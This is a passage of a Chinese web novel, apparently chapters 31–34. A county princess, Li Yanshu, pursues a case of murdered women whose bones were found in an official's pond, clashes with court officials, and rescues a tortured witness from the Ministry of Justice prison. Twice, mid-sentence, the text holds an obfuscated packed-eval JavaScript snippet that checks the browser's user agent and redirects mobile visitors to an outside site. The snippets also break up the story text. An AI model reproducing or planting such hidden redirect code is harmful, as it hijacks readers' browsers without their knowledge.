李砚书坐过去挑开车帘,对面坐着的人却不是龚抱文,而是本该呆在董府的董原。 董原面上依旧是那副初见时的笑脸,好似偶遇般,颔首示礼道:“广明县主。” 外面的雨声嘈杂,可董原矜礼的声音依旧平稳地传进了李砚书耳朵里。 董原似乎是轻笑了一声,接道:“原以为在暗中调查这件事的人会是杨乾,没想到竟是广明县主。为什么呢?则鲜自认从未得罪过县主,县主又何必非要蹚这趟浑水呢。” 李砚书冷眼看着他,道:“花笙之事你一早知情?” 董原不置可否。 “不为什么,”李砚书勾唇一笑,道,“只是见不得姑娘哭,为她们讨个公道罢了。” 董原轻笑出声,像是听见了一件很好笑的事,连带着他的声音都大了几分,道,“公道?县主赤子心肠,在下佩服。只是这天底下被亏欠公道的人数不胜数,在下怕县主忙不过来。” 骨衣闻言就要起身,被李砚书按下,不动声色地道:“不劳董二公子费心。” 董原对她微笑,体恤地道:“县主初入元安,不知元安与渭阳风情迥然相异,县主既然想玩,那在下也只能舍命相陪了。” 两个人都在看着对方。 …… 两架马车擦肩而过,大雨紧接着落下,洗去所有痕迹。 这里仿佛无人来过。 马车上,李砚书沉思一会儿后,问骨衣:“花笙现在何处?” 骨衣道:“御史狱。” 李砚书听完后沉默下来,片刻后,道:“不,她现在应该在刑部狱。” 想了想,她又对素影道:“派两个可靠的人去照顾李夫人。” 素影点头应下。 逝者已逝,她能做的也只有照顾好未亡人。 花笙的确在刑部狱。因为李融之死,她现在成了此案唯一的原告加证人。学子们还在皇城外敲鼓,此事闹得沸沸扬扬,想要灭口的人也只能歇了心思。 李砚书想到这点,又问骨衣,“尸体可还在大理寺?” 骨衣肯定道:“还在。” “好,”李砚书又看了眼窗外,“去大理寺。” 大理寺门前,骨衣率先下车撑伞,素影紧接着要下,被李砚书叫住。 “你留在车上。” 骨衣见素影没下车,回头看了一眼。 李砚书看她一眼,道:“里面还不知是何情形,别再吓着她。” 单是那日在董府上就吓晕了好些人,武霜更是至今未醒,李砚书心有余悸,不敢再冒险。 她们说话间,后方冒雨跑来三人,雨势急迅,三人被雨浇得睁不开眼,蒙头就往前冲。李砚书拉着骨衣往一旁挪了两步,避开这三人。其中穿着衙差衣服的人抬手抹了一把脸上的雨水,匆忙对候在门口衙差道:“这是仵作黄老,快些带他们进去。” “是。” 张角余光里瞧见正在上阶的李砚书二人,以为是来避雨的,本想开口驱人,但见她们模样气度皆不凡,于是客 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14521327|155131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气道:“二位姑娘,大理寺乃朝廷重地,无事还请快些离去。” 李砚书拿出皇后手谕,道:“吾乃广明县主李晗,奉皇后娘娘慈令,前来查看董府沉塘一案。” 张角与他身后的衙差当即扑通一声跪下,行礼道:“见过广明县主。” 李砚书让他们起来,见张角浑身湿透,便道:“你先下去换身干净衣裳吧。” 张角立即道:“谢县主关心,小的皮糙肉厚淋些雨算什么,县主稍等片刻,小的这就进去禀报。” 说罢,他便一头栽进雨里。 李砚书拦不及,与骨衣对视一眼,跑得真快。 大理寺里间此事气氛正凝重。 严正与付拙当庭而立,虽没有言语,可底下的手下们剑拔弩张,一副随时要冲上去开打的样子。 一片寂静里,只听付拙冷声道:“大理卿莫不是忘了,此案已经交移刑部主审,大理卿不放人是什么意思,难道是想抗旨不曾?” 严正神情肃穆,道:“尸骨已经全部安置妥当,仵作也已在查验,验尸不能中断。本官方才已言明,在验尸结果出来之前付尚书的人可以全程监看,验尸结果也可第一时间交由刑部,大理寺不做干预。付尚书所说抗旨二字,本官万不敢担。” 付拙黑下脸。皇上为什么要将此案交给刑部审理,原因不言而喻。原本此案很简单,随便找个人顶罪再象征性地罚一罚董酺治家不严,此事就这么过去了。可李融敲响登闻鼓,又血溅公堂喊冤,引起天下学子哗然,此案就变得复杂起来了。 首先是速度,此事一夜之间传遍大街小巷,速度太快了,快到连他们都措手不及。再是官职,董酺若是因为此事被贬,后面符合上位的人太多了,元安几大世家之间多多少少都有关联。付拙不能确定在背后推波助澜的人究竟是谁,盘根错杂的氏族关系让付拙不得不万分谨慎。武明帝将此案交由刑部,其实就是在告诉他,无论此事与董家有没有干系,最后结果都不能是董家。 其实按照他们最开始的想法,将此事推给董府小厮。就说尸骨是他们亲人的,反正这世上葬不起亲人比比皆是,能不曝尸荒野已是最体面的身后事了。至于花笙与李融,寻个诽谤的由头打发了也就是了。谁曾想,李融竟然不依不饶,还以死鸣冤,当真可恶!这也就算了,谁知这严正也是个榆木脑袋,都这种时候了,他竟然还固持己见不肯放人! 就在双方僵持不下时,张角着急忙慌地进来禀报,打破了僵局。 “大人,广明县主奉皇后娘娘手谕前来,人已经在门口了!” 两人皆心下一惊,顾不上许多,只能快步出去相迎。 一个广明县主或许不值当他们亲自相迎,但谁让对方是带着皇后手谕来的,他们不仅要亲自出去迎接,还要行大礼叩拜。 李砚书曲膝回礼,撑着伞往里走,到里间大堂,李砚书对严正道:“严大人,不知仵作验尸可有结果?” 严正一怔,没想到她这般直接就问出来了,且眉宇间丝毫没有怕意,与传闻中见尸吓晕过去的样子大相径庭。 “回县主,”严正拱手道,“因为死者长时间泡在水里,皮肉已经溃烂,验尸难度大幅增加,恐还要废些时间。” 严正的话给了付拙机会,他赶忙接道:“县主,本官奉旨审理此案,尸骨也应移交刑部仵作验尸,可大理卿拒不交人,这让下官着实为难。” 付拙说完,李砚书看向严正,半晌,才道:“是吗,严大人因何不交人啊?” 严正面不改色,道:“仵作验尸不能中断。” 付拙听他还是这番说辞,当即就要回怼,却被李砚书出声打断。 “这样啊,”李砚书又看向付拙,笑道,“付尚书不要着急,凡事还是要以破案为重。” 付拙道:“县主明鉴,下官所做都是为了能早日破案。且刑部仵作验尸经验不弱大理寺,死者交由刑部仵作检验也最为稳妥。” 李砚书笑了一下,道:“仵作还分刑部与大理寺啊,天下仵作不都是验尸证案么,付尚书厚此薄彼可要不得。” 付拙喉结上下动了动,一时间竟不知该如何接这话。 他倒是小瞧了这位广明县主,原以为是个娇滴滴的,没想到竟是个牙尖嘴利的。 李砚书收敛了脸上的笑,正色道:“无双公主受了惊吓至今未醒,皇后娘娘为何派我前来问询,二位大人可明白?” 严正与付拙一震,连忙拱手道:“下官明白。” 32. 疾雨 李砚书面上又扬起笑意,话锋一转,道:“听闻此案唯一的证人现在刑部狱,不知付尚书能否带我去看看。” “县主三思。”付拙忙道:“县主贵体,岂可踏足那等肮脏之地。那女子本是诬告,算不得证人,县主还是不要见为好。” “是么?”李砚书道,“她诬告何人呀?” 付拙道:“董酺之子,董平。二人在抚仙楼有过矛盾,那女子怀恨在心,便诬告董平杀人,以泄私愤。” “付尚书此言不妥。”严正道,“那女子条理清晰,姓名籍贯均有在册,岂是空口诬告!” 李砚书看看付拙,又看看严正,默默往后退了一步。 “买通乞丐还不是证据吗?”付拙道,“若不是做贼心虚,为何要去买通乞丐作伪证。” “尚书大人也曾说乞丐的话不足信。”严正反驳道,“他们既然能为银钱作证一次,难保这次不是收了谁的银子才当庭翻供。” “大理卿此话何意?”付拙沉下脸,道,“是想说本官皂白不分,诬了那女子名声吗!” 严正淡淡道:“实事求是而已,付尚书何必对号入座。” “你——” 付拙气极,若是李砚书没来,他大可以直接命手下抢人。无法,他只能深吸几口气,一甩袖,朝李砚书拱手道:“下官还有要事在身,先行告退。” 李砚书颔首。 对于付拙的愤怒,严正恍若未见,兀自拱手作别。 李砚书惊叹于他们吵架也像是在做文章,秀气得很,说来说去也说不出什么狠话。咬文嚼字的,这点倒是与阿行很像。 严正道:“秋来雨重,县主还是早些回宫……” “大理卿过河拆桥未免太快。” 柳修自堂下缓步走来,没着官袍,一袭青衫常服执伞雨中。 “六部礼科都给事郎柳修见过广明县主。”柳修来到堂间,对李砚书揖礼道。 李砚书回礼。 不知这位给事郎与严正是何关系,进出大理寺竟然都不需要人通报一声。 柳修道:“听闻广明县主昨日受了惊吓,如今可好些了?” 李砚书客气道:“多谢给事郎关心,现已无碍。” 说完,她转向严正,道:“大理卿,皇后娘娘既然派我前来问询案件进程,若我就这般回去,恐怕交不了差。” 严正神色冷峻,道:“县主,并非本官阻拦,而是验尸现场多血腥……” 柳修插道:“大理卿此言差矣,县主乃渭阳王之女,岂是会惧区区血腥之人。” 李砚书闻言不由看刘修一眼。 这时,张角自廊下疾步而来,拱手道:“禀大人,黄老验尸有结果了。” 黄老?如果李砚书没听错的话,方才在大理寺门口时他带来的那名老人就叫黄老。距离不过一个时辰,这么快就有结果了? 到这一步,严正也不好再说什么。就见柳修微笑着往前比出一个“请”姿,反客为主道:“大理卿请,县主请。” 验尸房外,严正顿足道:“请黄老出来。” “是。” 张角领命推门进去,不多时一位白发苍苍的老者弓着背出来,身后跟着一位面容清秀的年轻人。仔细看,两人眉眼间还是能看出几分相似。李砚书猜测,他们应该是爷孙。 果不其然,他二位开口道:“仵作黄典,仵作黄良,见过严大人,柳大人……” 黄家爷孙看向李砚书,又赶紧低下头去,不知该如何称呼。 柳修替他们解围道:“这位是广明县主。” 黄家爷孙赶忙道:“见过广明县主。” “不必多礼,”李砚书这才发现他们身上的衣裳还是原先淋湿那一套,皱眉道,“二位冒雨而来?” 严正听了这话,凝眉看向一旁的张角。 张角回过神,拱手道:“大人恕罪,小的一时疏忽,这就为二位仵作准备干净衣裳。” 这其实不能怪张角,自古以来仵作就是这等待遇。别说是落雨了,就是落雪、落刀子,只要有案子,他们也要在第一时间赶到。且大理寺待仵作在安远城内算好的了,每次验尸完还有银子拿,其他地方别说银子了,就是连口热水都喝不上。但张角很有眼色,他不会将这话说出来,他看出这位广明县主是个心善的主子,他顺着这位善主子的心思去做,总不会出差错。 柳修若有所思地看了李砚书一眼。 因着落雨的缘故,酉初的天已经开始擦黑,但雨势却丝毫没有变小的趋势。 他们将视线重新放在黄老身上,只听黄老道:“回各位大人,初步检查,尸骨大都混杂,且腐坏程度不等,拼凑好三具尸骨,都是女性尸骨,年龄在十五到二十不等,其中有一副尸骨,四肢切面齐整,应是死后被人砍了手脚后才丢下的鱼塘。” 大雨噼里啪啦地落下,似斧似刃,砸在每个人的心里。 李砚书想起董原默认时的神情,漫不经心,又理所应当。 人命在他们眼中究竟是什么? “人命?”董酺低吼道,“几条人命算什么,这世上每天都在死人,他严正管得过来吗他!” 皇上还没下旨降罪,他董酺就还是京兆府尹,严正这个大理寺卿就还骑不到他头上来。 薛淙放下茶盏,道:“话虽如此,可那些尸骨在大理寺始终是个隐患。” “这有何难,”付酺冷哼一声,“仵作证词最后也要送到刑部复审,最后才会送到御前。只要那些尸骨不开口说话,严正就休想借此做文章。” 薛淙欲言又止。 此事已经上达天听,他们在想要悄无声息地给办了已经是不可能的事了。 事发突然,他收到消息就往大理寺赶,却连大理寺的门都没有进去就铩羽而归。严正这些年是出了名的软硬不吃,谁的情面都不讲,只认证据。仵作证词最后虽然是要送到刑部复审,可严正也不是软柿子,能任由他们拿捏。 “还想着付拙能帮你遮掩呢,”一直未曾开口的龚抱文突然道:“他都是泥菩萨过河,自身难保了。” 董酺和薛淙倏地看向他。 “尚书大人留步。” 付拙身形一晃,当即转身拱手 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“什么意思?”董酺急道,“她不过一个县主,初来元安,能翻起什么浪来!” 董酺这话其实连他自己都知道是虚张声势,但他实在不甘,自己游走官场多年,最后竟然折在了一个小姑娘身上。 李砚书在宫门下钥前回去,她先去清宁宫看了武霜,人还没醒,贴身的衣物却换了好几件。 武霜睡得不安稳,眉头一直皱着,像是陷入了梦魇。这种情况御医也无计可施,只能开些安神汤之类的缓解症状。 李砚书问张嬷嬷皇后娘娘可用了晚膳?张嬷嬷回道:“娘娘自县主离宫后就进了佛堂,吩咐奴婢们不许打扰。” 闻言,李砚书没再多问,只是吩咐钟嬷嬷照顾好武霜,便要前往学林院。 天已经黑了,钟嬷嬷实在不放心,便派了两个小宫娥护送李砚书。 李砚书这次没有再推拒,到学林院入口,她接过伞,让两个小宫娥先回去。 这时雨已经小了下来,淅淅沥沥地落着,像是做最后的收尾。 李砚书来到院中,却在阶下驻足。 屋内亮着的烛光,朦朦胧胧地从窗户透出来,像是裹了一层厚重的糖霜,叫人瞧不真切。 尽管李砚书极力克制,却依旧不受控制地想,白鹤行与元鸿今又在这里面扮演着什么角色?她们也如那些人一般隔岸观火,冷眼旁观着这一切吗? 李砚书就这样站在阶下,举着伞,低垂着眸。阿娘和师父的话在她脑中回旋,她们都告诉她不要怕,却没有人告诉她怎么救下她想救的人。 房门突然被人从里面打开,一束光从里面倾泄出来。 李砚书缓缓抬眼,屋内迸发出的烛光点燃了她的裙摆。 白鹤行跨出门槛,逆着光,居高临下地看着她。四目相对里,横亘在她们眼中的似乎只有不停落下的雨滴。 真好。 李砚书缓缓上阶,将手里的伞收起,冲白鹤行嫣然一笑。 她眼里不只有湿冷。 33. 救人 李砚书道:“还以为你已经睡下了。” 白鹤行转身进屋,语气如常道:“县主落下两日学业,岑夫子让我帮县主补回。” 李砚书关门的动作一顿,讪道:“岑夫子还真关心学生学业啊……” “李融之事,”白鹤行斟着茶,“岑夫子还不知情,以为你和公主是受了风寒,才耽搁了学业。” 李砚书沉思片刻,道:“有人在压消息?” 白鹤行将茶盏推向李砚书,道:“阖宫上下,有此能力者,只有一人。” 李砚书指尖置于盏壁边缘轻点。 阖宫上下有这个能力的只有武明帝,他在封锁消息。是只有宫内,还是连宫外都在封锁?但无论是哪一种,对李融、花笙而言都是糟糕透顶的,如果此事在武明帝那里已经有了定论,那他们之前所做的努力和牺牲就全都白费了。 白鹤行道:“你今日去了大理寺,仵作如何说?” 李砚书将黄老的话复述了一遍,喝过一口茶后,又道:“证词我看过一遍,并无问题。且大理寺卿严正素以‘公正’闻名,证词已过他目,想来不会再出差错。” 话音方落,李砚书就见白鹤行意味不明地盯着自己。她问:“有何不妥吗?” “仵作证词只能证明受害者全是姑娘外,”白鹤行垂下眼睛,“别无他用。” 李砚书微怔:“什么意思?” 白鹤行道:“一个时辰前,刑部尚书付拙乘坐软轿进宫,进入紫薇殿后不到一刻钟他就出来了。此事本应隐秘,但却大张旗鼓,说明皇上想借此事告诉所有人,他已经将此案结果告诉付拙,接下来付拙说的话,就如同圣旨亲临。你觉得大理寺仵作那份证词还有什么用么?” 李砚书眉间一皱,道:“怎会如此?” “因为此事牵涉皇家颜面。”白鹤行道,“原本此案只是董家与那些受害者的事,可李融之死却引起了天下学子愤慨,宫外登闻鼓响了一天,没有帝王能容忍这种事继续发展下去。” “可……”李砚书忽然想到什么,猛地拍了一下小案,声音也冷了下去,“煽动学子闹事背后之人,居心叵测。” 是了,若是无人煽风点火,李融之死岂会一夜之间传遍大街小巷,那些学子又岂会群情愤慨。学子闹事,看似是在帮他们讨回公道,实际上从李融、花笙敲响登闻鼓的那一刻起,就落入了对方的圈套之中。换言之,就算李融没有撞死公堂,此事第二日也会闹得人尽皆知。 白鹤行端起茶盏,凝视着里面的倒影,缓声道:“背后之人最终目的究竟是什么呢?亦或者此事演变至今,他是否已经达到了目的,也未可知。” 她猜不出,李砚书也猜不出,只知明日公审,风雨难料。 董家至今除了董平与几个小厮外,其余人都还安然无恙地呆在京兆府尹府里,完全没有受到任何牵连。而素来与董家交好的户部,吏部均未出面。是胸有成竹,还是怀了壮士断腕的决心? 白鹤行默了一会儿,突然道:“白骨可怕吗?” 李砚书扯了扯嘴角,刚想像平日里那般敷衍过去,一出口还是道:“嗯,可怕。” 白鹤行道:“那你要记住,人心比白骨可怕多了。” 李砚书看着她没接这话。 白鹤行眸中平静,接道:“元安繁华之下,堆砌着数不清的白骨。有人恐惧,有人心虚,有人自喜,也有人在怀念。即便失去皮囊,只剩白骨,她们也是别人的女儿、姊妹、好友。” 李砚书眨眨眼睛,好半晌才反应过来,双手撑着桌案身体前倾,颇为意外地道:“阿行,你……是在安慰我吗?” 白鹤行又端起茶盏,垂眸道:“没有。” “口是心非。” 李砚书不逼她,坐回蒲团之上,冲她笑道:“不管怎么说,还是谢谢你。” 谢谢你告诉我白骨并不可怕,可怕是杀她们之人的暴虐行径。那日在董府见到的惨景,在她心里已经融化成了支撑她继续走下去的力量,人命非草芥。 有情有义之人不该死于他人贪欲铡刀之下。 卯初三刻,天地寂静。 清宁宫偏殿烛火通明,两名守夜宫娥抱膝蹲在殿外,昏昏欲睡。 吱呀—— 殿门被人打开,她们的瞌睡瞬间没了,倏地起身。 李砚书从里面出来,抬手打了个哈欠,对其中一名宫娥道:“殿下醒了,着人去准备早膳,清淡些。” “是。” 李砚书抬头看向隐隐拂晓的天,捏了捏泛酸的后颈,提步朝宫外走去。 一个时辰前,武霜从噩梦中惊醒,在看到李砚书的刹那,忍不住抱着她痛哭。 武霜泪雨滂沱,泣不成声,不停地叫着李砚书的名字,仿佛是在抓着最后一根救命稻草。 李砚书拍着她的背,不停安抚道:“没事了,没事了,我在,我在……” 这样过了好久,武霜才渐渐冷静下来,她泪眼朦胧地看着李砚书,抽泣道:“你,你没事吧?” 李砚书还抓着她的手,摇头道:“我没事。” 武霜缓过劲来,恼怒涌上心头,旋即怒声道:“等会我就去找父皇,把董平抓进大牢。” 几乎是同时,李砚书道:“对不起。” 武霜抽泣了一下,不解道:“你说什么对不起呀?”她说完又抽泣了一下,刚刚哭的狠了,现在都还没完全平复下来,时不时还会不由自主地抽泣一下。 “若不是我拉你进来,你也不会见到那日惨景。”李砚书自责道。 也就不会遭这些罪。 “你怎么能这么想呢。”武霜吸了下鼻子,“你又不能未卜先知,再说了,这种惩恶扬善的事你不告诉我,你还想告诉谁啊,谁能有我厉害?再说我是不小心才被吓到的,下次我绝不会了,我堂堂无双公主,岂是会被区区白骨吓到之人,你也太小看我了。” “还说我呢,”武霜抚上李砚书的脸庞,接道,“你也吓到了吧,还是一夜未睡,眼下都起了乌青。” “我没事,”李砚书看着她,“你这么说我难受,我带你出去,却没保护好你,反而还叫你来安慰我。” 武霜微微一笑,却道:“傻砚书,我比你大两岁,我保护你才是。” 李砚书好像永远不知道自己才是年龄小的那一个。 李砚书顿了顿,道:“董平已经下狱,此案今日便能有结果。” 武霜点头道:“那就好。” 李砚书扶她躺下,道:“岑夫子见我没去听学,叫了阿行给我补课。你好好休息,我晚些时候再来看你。” “啊?”武霜惊讶道,“还要补课啊,岑夫子真严苛。” 李砚书笑了笑,道:“没办法,我可不想被打手板。” 这话当然是说辞。换做往日武霜或许能立即分辨出来,但她现在梦魇初醒,脑子还没完全转过弯来,因此迷迷糊糊地顺着李砚书的动作躺下,再迷迷糊糊地目送人离开。 李砚书持令牌出宫,朝着昨日骨衣指的方向狂奔。 这个时辰,元安街道上只有寥寥几人,偶尔有一架马车驶过,上面挂着的两个灯笼随风晃动,像是随时会掉下来。 刑狱位于刑部内,李砚书的县主令牌进不去,只能再次请出皇后手谕。 李砚书随手抓了一个小吏,问道:“说!昨日与董府大公子一同关进来的那个姑娘关在哪里?” 小吏们哭丧着一张脸,齐齐跪在地上不停磕头道:“小的们不知,小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14521329|155131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的们真的不知啊!” “不知?”李砚书急道:“带我去刑狱!” 小吏连忙道:“县主千金之躯,岂可去那等污秽之地。” 一旁的小吏附和道:“是啊是啊,县主贵体,万万不可啊!” 李砚书深吸一口气,假意被说动,转身就要走,却在下一秒出乎所有人意料地拔出身旁那名小吏的佩刀,反手架在那人脖子上,胁迫道:“现在,带我去见人。” 刀刃在皮肤上划开一个口子,血珠泊泊地冒出来,那人哆嗦求饶道:“县主饶命,饶命!小的带你去,带你去……” 李砚书一踏进刑狱就放了那名小吏。里头的狱卒得了消息,赶忙迎上来。李砚书沉声道:“花笙在哪?” 眼见人都到这来了,狱卒只能引着李砚书往里去。 每经过一间牢房,李砚书的心便沉一分。因为越往里走,便越靠近刑房。 过了一个狱道,尽头的房间里传出一道女子的惨叫声。 叫声凄厉,已然在受酷刑。 李砚书脸色一变,大步跑过去,一脚踹开了房门。里头正在施刑的狱卒一愣,抬头望去,手里的细针插了半截在花笙食指缝里。 花笙被绑坐于刑凳上,两只手被人按住,正对着房门口。她在剧痛中抬眸,意识昏沉,觉得自己一定是疼花了眼,竟然看见了李小姐朝她奔来。 李砚书一脚踹翻正在扎针的那人,骂道:“谁允许你们用刑的!她是原告,是证人!” 另一边那名狱卒已经战战兢兢地跪下去了,恨不能整个人能原地消失。 李砚书替花笙解开绳子,却不敢却碰扎在花笙手指缝里的细针。 倒是花笙在李砚书的骂声中回过神来,冷汗淋漓,声音嘶哑道:“李小姐……” 李砚书小心抱住她,“对不起,我来晚了。” 说罢,李砚书抬起眼,对狱卒冷声道:“去找郎中来。” “这……”狱卒欲言又止。 “还愣着做什么,”闻讯匆匆赶来的付拙喝道,“还不快去!” 花笙痛得全身都在抖,她半边身子倒在李砚书怀里,一直紧绷的身体骤然放松,本应失去意识,但又因为指尖传来的剧痛,只能硬生生挨着,清醒着。 付拙揖礼道:“县主来我刑部,怎地也不提前打个招呼。手底下的人胡闹,平白叫县主看了笑话。” “胡闹?”李砚书这次连礼都没回,冷声道,“尚书大人管这叫胡闹!花笙姑娘乃原告,且是本案唯一证人。大人私自动刑,置刑法条例于何地?今日若不是我及时赶到,尚书大人是打算屈打成招了?” 付拙面色不变,道:“县主言重了,入刑狱者都要受刑,而非本官特意为之。” 李砚书冷哼一声,道:“据我所知入刑狱者需受十下鞭刑,而非是这针刑!” 付拙道:“刑狱每日收押犯人无数,许是施刑的人弄错了。” “弄错了,”李砚书道,“尚书大人方才还说是胡闹,现下就成了弄错了,刑部之人办事如此草率,与草菅人命何异?俸禄银两诸位可还拿得心安啊!” “你——” 付拙没想到李砚书会为了一个犯人在这么多人面前下他的脸面,一时间又气又恼。恰逢这时郎中赶来,付拙冷哼一声,挥袖离开。 郎中检查了一番花笙的手,从药箱中拿出一根粗布裹着的木条让花笙咬着,便开始准备取针。郎中的手放在细针上,那一瞬间,花笙仿佛又回到了方才正在受刑的时候,痛不欲生。 就在郎中使力的瞬间,一只手覆在了花笙眼前,遮住了那些令人痛不欲生的画面。 李砚书紧皱着眉头,正在她屏住呼吸不忍再看的时候,手心传来了一滩热意。 34. 公审 花笙喉间压抑地逸出惨叫,细针穿透骨髓带来的剧痛让她那张姣好的容颜几近扭曲。 李砚书替她挡下骇人的画面,却挡不住那阵来自灵魂深处的巨大痛楚。 针刑作为重刑,一般只有已经定罪的犯人才能动用此刑。俗话道,十指连心,此刑意在摧毁犯人意志,细针停留在指缝间,对受刑者而言每分每秒都是无尽炼狱。 有人想让花笙疯! 没有人会去相信疯子说的话,因此也就不会有人去相信一个疯子的证词。 刑狱常年阴冷,但李砚书此时心里却燃起了熊熊怒火。李融已死,此案原告只剩花笙一人,若是她疯了,此案便再无雪清之日。 付拙面色铁青地坐下,小吏在一旁弓着腰双手奉茶,态度比往日更加恭兢。 地上乌泱泱跪了一片人,有小吏,有狱卒,全都垂头敛眉,大气都不敢喘。 付拙“啪”一声将茶磕在桌上,奉茶小吏赶忙拜伏下去。 过了半刻,付拙才缓缓道:“今日之事,若是旁人听去半个字——” 话至此处,底下人纷纷道:“属下明白。” 付拙挥挥手,底下人忙不迭退下,只剩奉茶小吏付末留在那里。 付末道:“大人,离升堂只剩一个时辰了。” 付拙陡然起身,在房里来回踱步。 “去,派人去知会董酺一声,董平保不住了。”付拙停下步子,猛然甩袖,“同时告知六部,广明县主持刀挟质闯我刑部,肆意妄为,枉顾国法。就算她救下那女子又如何,本官要让她知道,刑部大狱不是她想来就来,想走就走的地!” 半个时辰后,广明县主大闹刑部的事就在朝上传得沸沸扬扬。 礼部侍郎柳重明率先站出来,正声道:“陛下,刑部乃朝廷重地,非旨不能擅闯。广明县主此举既不合礼数,亦不合国法。” 他话音甫落,四五个大臣遂站出来,揖礼道:“臣附议。” 兵部侍郎沈毅出列,道:“陛下,臣以为此事疑点重重,尚未清明,就此定罪恐为不妥。” 吏部侍郎薛淙出列,道:“陛下,现广明县主就在刑部,实在无从狡辩啊。” 沈毅侧眸看着薛淙,道:“薛侍郎用词严谨些,此事还远未到用‘狡辩’二字!” 薛淙立刻反唇相讥,道:“沈侍郎这般护着广明县主,究竟是公正不阿呢,还是藏有私心……” 沈毅面色倏地一沉。 “咳——” 端坐高位的武明帝轻咳了一声,底下众臣连忙噤声。 “薛侍郎今日话似乎格外多啊。” 武明帝不带情绪的一句,吓得薛淙扑通一声跪下,磕头道:“陛下恕罪,微臣失言,陛下恕罪!” 武明帝眉宇间带着疲惫之色,没有再看薛淙,而是道:“石爱卿……” 伺候于一侧的王德祥轻声道:“陛下,石大人昨日夜里染了风寒,今早赐告了。” 闻言,薛淙骤然心惊,手脚止不住地发抖。 “也罢,”武明帝看向严正,“严卿。” 严正出列揖礼,“臣在。” 武明帝道:“李融一案,朕特着你即刻前往刑部协同刑部一起查办此案,务必要给天下学子一个满意的答案。” 严正一礼,道:“臣,遵旨。” 一刻钟后,王德祥向前一步,高声道:“有本启奏,无本退朝!” 大殿之上无人开口。 武明帝站起身,王德祥连忙过去扶着人。 “退朝!” 皇帝一走,大臣们而后也有序退出,他们似乎都没有看到薛淙还跪在地上,所有人都心照不宣地装作没看见,默默离开。 空旷寂静的大殿里不消片刻就只剩下薛淙一个人,他不敢起身,依旧维持着跪伏在地的姿势。 太安静了,殿内安静得薛淙都可以听见自己鼓跳如雷的心跳声,冷汗浸透了内裳,如临冰窖。武明帝不是忘记了石儒告假,而是在借石儒之事提打他。平日里他们在朝上怎么吵都没事,但是若是涉及皇家颜面,江山社稷,那下场就会如同石儒一般。 这些年因为“风寒”而死的人不在少数。 薛淙不想成为其中一员,但他现在已经半只脚踏了进去。 “薛淙,”薛谨的声音在薛淙头顶响起,“你有几条命啊?” 薛淙猛地抬眼,苍白的面上早已泪流满面,“大哥……” “嗯?”薛谨睨着他。 薛淙立马改口,哆哆嗦嗦地道:“大人,下官知错了。” 他原本只是让薛淙附和那些人几句,这般简单的事,就是个初入官场的人都知道怎么说,谁料这人就是个榆木脑袋,这么简单的事也能办砸了!兵部与渭阳王之间的事大家都心照不宣,偏偏这个不要命的说了。 李晗为何来元安,李眭又为何远赴汉州,明眼人都能瞧出来的事,可为什么大家都不说。不仅是渭阳王战功彪炳,手握重兵,更是因为武明帝还需要李阿鼎这柄利剑。按照李阿鼎的身份战功,李晗现在本应是郡主。可为何武明帝只封了她一个县主,这里面大有文章在。薛淙谨掌管吏部,今日之事他完全可以独善其身,叫薛淙附和几句也是给刑部、户部一个态度罢了,谁曾想这个薛淙能当众脱出兵部与渭阳之事,犯了武明帝大忌。 薛谨道:“你可知你今日所言,稍有不慎就会置整个薛家于万劫不复之地。” “大人!”薛淙仰着头,一把鼻涕一把泪地道,“我真的知道错了,我再也不敢胡言乱语了!你救救我,我还这么年轻,我还不想死啊!大人!” 薛谨冷眼看着薛淙,眼里没有丁点情绪,若不是薛家子嗣凋零,自己又怎会提拔这么个废物上来。他冷声道:“起来,明日我会替你告假,这段时间你不用再上朝了。” 薛淙怕极了,以为是要杀了自己,忙嚎道:“大哥!我不想死!你救救我,救救我啊!” 薛谨这辈子的耐心都用在了此时,他一字一句道:“没人要你死,起来!” “真的……” 薛淙观薛谨脸色,条件反射,手脚并用地爬起来,结果因为跪太久,膝盖一软,差点又跪下去。 薛谨转过身不想再看他那张脸。 外面艳阳高照,仿佛昨日的大雨不曾下过一般,亮得刺眼。薛谨微微眯眼,叹息道:“雨停了。” 郎中替花笙处理好手上的伤口,叮嘱了一番不要沾水之类的后便行礼退下了。 花笙靠在李砚书身上,虚弱地道:“李小姐……” 李砚书替她拭着额上的汗,轻声道:“唤我砚书即可。” 花笙闻言努力牵起一抹笑,道:“砚书,见夏她……” 李砚书擦拭的动作顿住,沉默了下来。 花笙眼光颤动,眼中又起了氤氲。她艰难道:“她……你说吧。” 李砚书抱着花笙,苦涩道:“尸骨都打捞出来了,仵作已验明都是女子,见夏,见夏姑娘应也在其中。只是尸骨大都腐烂,辨不出是谁。” 李砚书话音甫一落下,花笙眼中的泪珠便大颗大颗地落下,噼里啪啦地砸在李砚书的手背上。她几度开口,却发不出声音。 好好的一个人,现在却成了一具腐烂到不成人形的尸体,这让她如何接受。 她找了见夏三年,虽然曾无数地想人可能已经没了,可真到真相摆在眼前的这天,她还是高估了自己。 人没了,她苦苦找了三年的人,没了。 她在这世上最后一个亲人,惨死在她看不见的地方,浸泡在暗无天日的塘底,面目全非。 她们的哀求声没人听见,她们的惨叫声没人听见,她们的命,也没有人听见。 花笙失声倒在李砚书怀里,刚包好的手指用力扣在腿上,白布渗出血迹,指尖传出痛意,却远不及她此刻的心痛。 “啊!” 终于,绝望悲恸的咆哮声响彻于整个刑狱,在一个雨过天晴的白天。 